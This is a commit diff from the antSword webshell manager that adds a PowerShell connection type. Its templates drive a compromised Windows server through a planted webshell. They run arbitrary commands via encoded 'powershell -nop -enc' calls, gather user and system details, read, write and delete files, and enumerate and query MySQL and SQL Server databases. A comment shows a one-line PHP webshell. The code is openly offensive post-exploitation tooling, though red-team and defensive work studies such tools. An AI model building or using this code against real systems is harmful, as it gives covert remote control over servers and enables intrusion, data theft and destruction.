Skip to content

A
antSword
Commit dc3c1680 authored by Medicean's avatar Medicean
Browse files
Options

(New: Core/PSWindows) 新增 PSWindows 连接类型

parent 6edb7317
Expand all Hide whitespace changes
Inline Side-by-side
Showing with 1809 additions and 88 deletions
source/app.entry.js
View file @ dc3c1680
......@@ -75,7 +75,7 @@ const antSword = window.antSword = {
* @type {Object}
*/
core: {},
/**
/**
* 核心模块类型列表
* @type {Object}
*/
......@@ -107,7 +107,7 @@ const antSword = window.antSword = {
if (!value) {
return localStorage.getItem(key) || def;
};
if (typeof (value) === "object")
if (typeof(value) === "object")
value = JSON.stringify(value);
// 设置
......@@ -168,7 +168,7 @@ const antSword = window.antSword = {
};
//核心模块类型列表
antSword['core_types'] = ['asp','aspx','aspxcsharp','php', 'php4','phpraw','jsp','jspjs','cmdlinux','custom'];
antSword['core_types'] = ['asp', 'aspx', 'aspxcsharp', 'php', 'php4', 'phpraw', 'jsp', 'jspjs', 'cmdlinux', 'pswindows', 'custom'];
// 加载核心模板
antSword['core'] = require('./core/');
......@@ -177,7 +177,7 @@ antSword['core'] = require('./core/');
antSword['language'] = require('./language/');
// 加载编码
antSword['encoders'] = (function () {
antSword['encoders'] = (function() {
var encoders = {};
var encoders_path = {};
for (var i in antSword['core_types']) {
......@@ -190,7 +190,7 @@ antSword['encoders'] = (function () {
!fs.existsSync(userencoder_path) ?
fs.mkdirSync(userencoder_path) :
null;
antSword['core_types'].map((t) => {
antSword['core_types'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
null;
......@@ -225,7 +225,7 @@ antSword['encoders'] = (function () {
})();
// 加载解码器
antSword['decoders'] = (function () {
antSword['decoders'] = (function() {
var decoders = {};
var decoders_path = {};
for (var i in antSword['core_types']) {
......@@ -238,7 +238,7 @@ antSword['decoders'] = (function () {
!fs.existsSync(userdecoder_path) ?
fs.mkdirSync(userdecoder_path) :
null;
antSword['core_types'].map((t) => {
antSword['core_types'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
null;
......@@ -346,12 +346,12 @@ const groupLog = (opt, color) => {
// 监听后端消息
ipcRenderer
/**
* 刷新UI（shellmanager侧边栏
* @param {[type]} 'reloadui' [description]
* @param {[type]} ( [description]
* @return {[type]} [description]
*/
/**
* 刷新UI（shellmanager侧边栏
* @param {[type]} 'reloadui' [description]
* @param {[type]} ( [description]
* @return {[type]} [description]
*/
.on('reloadui', () => {
setTimeout(() => {
antSword
......
source/core/pswindows/decoder/base64.js 0 → 100644
View file @ dc3c1680
/**
* cmdlinux::base64解码器
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 加密返回数据的函数
*/
asoutput: () => {
// return `function asenc(){ param ([Parameter(ValueFromPipeline)]$s) process{ [System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($s));}};`
return `function asenc(){ param ([System.String] $s) return [System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($s));};`
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
console.log(Buffer.from(buff.toString(), 'base64'));
return Buffer.from(buff.toString(), 'base64');
}
}
\ No newline at end of file
source/core/pswindows/decoder/default.js 0 → 100644
View file @ dc3c1680
/**
* cmdlinux::default解码器
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 加密返回数据的函数
*/
asoutput: () => {
// 这里是支持管道的写法
// return `function asenc(){ param ([Parameter(ValueFromPipeline)]$s) process{ Write-Host -NoNewline $s;}};`.replace(/\n\s+/g, '');
return `function asenc(){ param ([System.String] $s) return $s;};`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
return buff;
}
}
\ No newline at end of file
source/core/pswindows/decoder/hex.js 0 → 100644
View file @ dc3c1680
/**
* cmdlinux::hex解码器
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 加密返回数据的函数
*/
asoutput: () => {
return `function asenc(){ param ([System.String] $s) return [System.BitConverter]::ToString([System.Text.Encoding]::Default.GetBytes($s)).Replace('-','');};`.replace(/\n\s+/g, '')
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
return Buffer.from(buff.toString().replace(/\n/g, ''), 'hex');
}
}
\ No newline at end of file
source/core/pswindows/encoder/base64.js 0 → 100644
View file @ dc3c1680
'use strict';
/**
* webshell eg:
<?php system(base64_decode($_POST['ant']));?>
*/
module.exports = (pwd, data, ext = null) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
source/core/pswindows/index.js 0 → 100644
View file @ dc3c1680
/**
* PSWindows服务端脚本模板
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class PSWINDOWS extends Base {
constructor(opts) {
super(opts);
// 解析模板
[
'base',
'command',
'filemanager',
'database/mysql_odbc',
'database/sqlserver_odbc',
'database/sqlserver_sqlclient',
].map((_) => {
this.parseTemplate(`./pswindows/template/${_}`);
});
// 解析编码器
this
.encoders
.map((_) => {
this.parseEncoder(`./pswindows/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./pswindows/decoder/${_}`);
});
}
/**
* 获取编码器列表
* ? 可以在antSword.core.php.prototype.encoders中获取此变量
* @return {array} 编码器列表
*/
get encoders() {
return ["base64"];
}
get decoders() {
return ["default", "base64", "hex"];
}
/**
* HTTP请求数据组合函数
* @param {Object} data 通过模板解析后的代码对象
* @param {bool} force_default 强制使用 default 解码
* @return {Promise} 返回一个Promise操作对象
*/
complete(data, force_default = false) {
// 分隔符号
let tag_s, tag_e;
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
} else {
tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|";
}
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
} else {
tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-";
}
let asencCode;
let ext = {
opts: this.__opts__,
};
if (!force_default) {
asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext);
} else {
asencCode = this.__decoder__['default'].asoutput(ext);
}
// 组合完整的代码
let tmpCode = data['_'];
data['_'] = `$TAGS=[System.String]::Concat('${tag_s.substr(0,tag_s.length/2)}','${tag_s.substr(tag_s.length/2)}');$TAGE=[System.String]::Concat('${tag_e.substr(0,tag_e.length/2)}','${tag_e.substr(tag_e.length/2)}');${asencCode};function asexec() { ${tmpCode} };$RESP='';try{$RESP=asenc(asexec);}catch{$RESP=asenc([System.String]::Format('ERROR:// {0}',$_.ToString()));};[System.String]::Format('{0}{1}{2}',$TAGS,$RESP,$TAGE);`;
data['_'] = `powershell -nop -enc ${this.Base64UTF16(data['_'])}`;
// 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data);
}
// https://stackoverflow.com/questions/17913609/javascript-unicode-base64-encode
Base64UTF16(cmd) {
var ar = new Array(cmd.length * 2),
i, j, s, b64;
// build array of bytes
for (i = 0, j = 0; i < cmd.length; j = 2 * ++i) {
ar[j] = cmd.charCodeAt(i);
}
// build string from array
s = String.fromCharCode.apply(String, ar);
// to base64
b64 = btoa(s);
return b64;
}
}
module.exports = PSWINDOWS;
\ No newline at end of file
source/core/pswindows/template/base.js 0 → 100644
View file @ dc3c1680
/**
* 基础信息模板
* ? 获取系统信息、当前用户、当前路径、盘符列表
*/
module.exports = () => ({
info: {
// [System.IO.DriveInfo]::GetDrives()|Where-Object{$_.DriveType -eq 3}|ForEach-Object{$ADRIVERS+=$_.Name.substring(0,2)};
// Write-Output $ACWD$TAB$ADRIVERS$TAB$AUNAME$TAB$AUSER;
_: `$ret='';
$Tab=[char]9;
$ACWD=$pwd.Path;
$AUSER=[System.Security.Principal.WindowsIdentity]::GetCurrent().Name;
$AUNAME=[System.Environment]::OSVersion.VersionString;
$ADRIVERS='';
$c=[System.IO.DriveInfo]::GetDrives();
for($i=0;$i -lt $c.Length;$i++){
if($c[$i].DriveType -eq 3){
$ADRIVERS+=$c[$i].Name.Substring(0,2);
}
};
$ret=$ACWD+$TAB+$ADRIVERS+$TAB+$AUNAME+$TAB+$AUSER;
return $ret;
`.replace(/\n\s+/g, '')
},
probedb: { // 检测数据库函数支持
_: `$ret='';
$TAB=[char]9;
$Line=[char]10;
$OP='HKLM:/HKEY_LOCAL_MACHINE/SOFTWARE/ODBC/ODBCINST.INI/ODBC Drivers';
$ODBC=(Get-Item -Force -LiteralPath $OP);$ODBC.Property|ForEach-Object{
$ret+='[ODBC Drivers]'+$_+$TAB;
if($ODBC.GetValue($_).Equals('Installed')){
$ret+='1';
}else{
$ret+='0';
};
$ret+=$Line;
};
return $ret;
`.replace(/\n\s+/g, '')
}
})
\ No newline at end of file
source/core/pswindows/template/command.js 0 → 100644
View file @ dc3c1680
/**
* 虚拟终端命令执行
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `$c=New-Object System.Diagnostics.ProcessStartInfo -ArgumentList '#{bin}';
$e=New-Object System.Diagnostics.Process;
$c.UseShellExecute=$false;
$c.RedirectStandardInput=$true;
$c.RedirectStandardOutput=$true;
$c.RedirectStandardError=$true;
$c.CreateNoWindow=$true;
$e.StartInfo=$c;
$c.Arguments = '/c ' + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::cmd}'));
$env=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::env}'));
if($env.Length -ne 0){
$envarr = [System.Text.RegularExpressions.Regex]::Split($env, '\\|\\|\\|asline\\|\\|\\|');
for($i=0;$i -lt $envarr.Length;$i++){
$ss = [System.Text.RegularExpressions.Regex]::Split($envarr[$i], '\\|\\|\\|askey\\|\\|\\|');
if($ss.Length -ne 2){continue;};
$c.EnvironmentVariables.Add($ss[0],$ss[1]);
};
};
$aa=$e.Start();
$OT=$e.StandardOutput;
$ER=$e.StandardError;
$e.Close();
return $OT.ReadToEnd()+$ER.ReadToEnd();`.replace(/\n\s+/g, ''),
},
listcmd: {
_: `$ret='';
$Tab=[char]9;
$Line=[char]10;
$ss=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::binarr}')).Split(',');
for ($i = 0; $i -lt $ss.Length; $i++){
$flag='0';
if([System.IO.File]::Exists($ss[$i])){
$flag='1';
}
$ret += ($ss[$i]+$Tab+$flag+$Line);
};
return $ret;`.replace(/\n\s+/g, '')
}
})
\ No newline at end of file
source/core/pswindows/template/database/README.md 0 → 100644
View file @ dc3c1680
# ADO.NET code examples
https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/ado-net-code-examples
source/core/pswindows/template/database/mysql_odbc.js 0 → 100644
View file @ dc3c1680
/**
* 数据库管理模板::mysql
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql='SHOW DATABASES';
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示数据库所有表
show_tables: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format('SHOW TABLES FROM {0}', $dbname);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示表字段
show_columns: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$table=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::table}'));
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format('SHOW COLUMNS FROM {0}.{1}', $dbname, $table);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0} ({1}){2}',$reader.GetString(0), $reader.GetString(1),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 执行SQL语句
query: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$TRUE;
$columnsep=[System.String]::Format('{0}|{1}',[char]9,[char]9);
$rowsep=[System.String]::Format('{0}{1}',[char]10,[char]13);
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::sql}'));
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
if(($reader.HasRows -eq $FALSE) -and ($reader.VisibleFieldCount -eq 0)) {
$sb.AppendFormat('Affect Rows{0}{1}{2}{3}{4}',$columnsep, $rowsep,[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.RecordsAffected)),$columnsep, $rowsep)|Out-Null;
return $sb.ToString();
}
if($needcolumnname) {
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',$reader.GetName($i),$columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
while($reader.Read()){
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.GetString($i))), $columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
}
})
\ No newline at end of file
source/core/pswindows/template/database/odbc.js 0 → 100644
View file @ dc3c1680
/**
* 数据库管理模板 odbc
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$sql='SHOW DATABASES';
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示数据库所有表
show_tables: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format('SHOW TABLES FROM {0}', $dbname);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示表字段
show_columns: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$table=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::table}'));
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format('SHOW COLUMNS FROM {0}.{1}', $dbname, $table);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0} ({1}){2}',$reader.GetString(0), $reader.GetString(1),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 执行SQL语句
query: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$TRUE;
$columnsep=[System.String]::Format('{0}|{1}',[char]9,[char]9);
$rowsep=[System.String]::Format('{0}{1}',[char]10,[char]13);
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::sql}'));
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
if(($reader.HasRows -eq $FALSE) -and ($reader.VisibleFieldCount -eq 0)) {
$sb.AppendFormat('Affect Rows{0}{1}{2}{3}{4}',$columnsep, $rowsep,[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.RecordsAffected)),$columnsep, $rowsep)|Out-Null;
return $sb.ToString();
}
if($needcolumnname) {
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',$reader.GetName($i),$columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
while($reader.Read()){
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.GetString($i))), $columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
}
})
\ No newline at end of file
source/core/pswindows/template/database/sqlserver_odbc.js 0 → 100644
View file @ dc3c1680
/**
* 数据库管理模板::sqlserver odbc
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql='SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1';
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示数据库所有表
show_tables: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql="SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1";
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示表字段
show_columns: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$table=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::table}'));
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format("select b.name,c.name,c.length from sysobjects a,syscolumns b,systypes c where a.id=b.id and b.xtype=c.xtype and a.name='{0}'", $table);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0} ({1}){2}',$reader.GetString(0), $reader.GetString(1),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 执行SQL语句
query: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$TRUE;
$columnsep=[System.String]::Format('{0}|{1}',[char]9,[char]9);
$rowsep=[System.String]::Format('{0}{1}',[char]10,[char]13);
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::sql}'));
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
if(($reader.HasRows -eq $FALSE) -and ($reader.VisibleFieldCount -eq 0)) {
$sb.AppendFormat('Affect Rows{0}{1}{2}{3}{4}',$columnsep, $rowsep,[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.RecordsAffected)),$columnsep, $rowsep)|Out-Null;
return $sb.ToString();
}
if($needcolumnname) {
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',$reader.GetName($i),$columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
while($reader.Read()){
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.GetString($i))), $columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
}
})
\ No newline at end of file
source/core/pswindows/template/database/sqlserver_sqlclient.js 0 → 100644
View file @ dc3c1680
/**
* 数据库管理模板::sqlserver odbc
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.SqlClient.SqlConnection($connstr);
$sql='SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1';
$command = New-Object System.Data.SqlClient.SqlCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示数据库所有表
show_tables: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.SqlClient.SqlConnection($connstr);
$sql="SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1";
$command = New-Object System.Data.SqlClient.SqlCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 显示表字段
show_columns: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$table=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::table}'));
$columnsep=[char]9;
$conn=New-Object System.Data.SqlClient.SqlConnection($connstr);
$sql=[System.String]::Format("select b.name,c.name,c.length from sysobjects a,syscolumns b,systypes c where a.id=b.id and b.xtype=c.xtype and a.name='{0}'", $table);
$command = New-Object System.Data.SqlClient.SqlCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0} ({1}){2}',$reader.GetString(0), $reader.GetString(1),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// 执行SQL语句
query: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$TRUE;
$columnsep=[System.String]::Format('{0}|{1}',[char]9,[char]9);
$rowsep=[System.String]::Format('{0}{1}',[char]10,[char]13);
$conn=New-Object System.Data.SqlClient.SqlConnection($connstr);
$sql=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::sql}'));
$command = New-Object System.Data.SqlClient.SqlCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
if(($reader.HasRows -eq $FALSE) -and ($reader.VisibleFieldCount -eq 0)) {
$sb.AppendFormat('Affect Rows{0}{1}{2}{3}{4}',$columnsep, $rowsep,[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.RecordsAffected)),$columnsep, $rowsep)|Out-Null;
return $sb.ToString();
}
if($needcolumnname) {
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',$reader.GetName($i),$columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
while($reader.Read()){
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.GetString($i))), $columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
}
})
\ No newline at end of file
source/core/pswindows/template/filemanager.js 0 → 100644
View file @ dc3c1680
/**
* 文件管理模板
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `Get-ChildItem -ErrorAction Stop -Force -Path '#{path}'|ForEach-Object{
$Tab=[char]9;
$ISDir='';
if($_.Mode.StartsWith('d')){
$ISDir='/';
};
$_.Name+$ISDIR+$Tab+$_.LastWriteTime+$Tab+$_.Length+$Tab+$_.Mode
}|Out-String;`.replace(/\n\s+/g, ''),
},
delete: {
_: `Remove-Item -Recurse -Force -LiteralPath '#{path}' -ErrorAction Stop;
return '1';
`.replace(/\n\s+/g, ''),
},
create_file: {
// 不建议使用 New-Item 方式来写入文件, -Encoding 参数只在 v5 以上版本才有
// _: `try { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::content}'))|New-Item -ItemType File -Force -Path '#{path}' -ErrorAction Stop|Out-Null;'1';}catch{'0';}`.replace(/\n\s+/g, ''),
_: `$C=[byte[]] -split ('#{buffer::content}' -replace '..', '0x$& ');
[System.IO.File]::WriteAllBytes('#{path}',$C);
return '1';
`.replace(/\n\s+/g, ''),
},
read_file: {
_: `Get-Content -ErrorAction Stop -LiteralPath '#{path}'|Out-String;`
},
copy: {
_: `Copy-Item -Recurse -Force -LiteralPath '#{path}' -Destination '#{target}' -ErrorAction Stop; return '1';`.replace(/\n\s+/g, '')
},
download_file: {
/* 这里下载二进制文件时会不正常, 扩展ASCII问题导致的
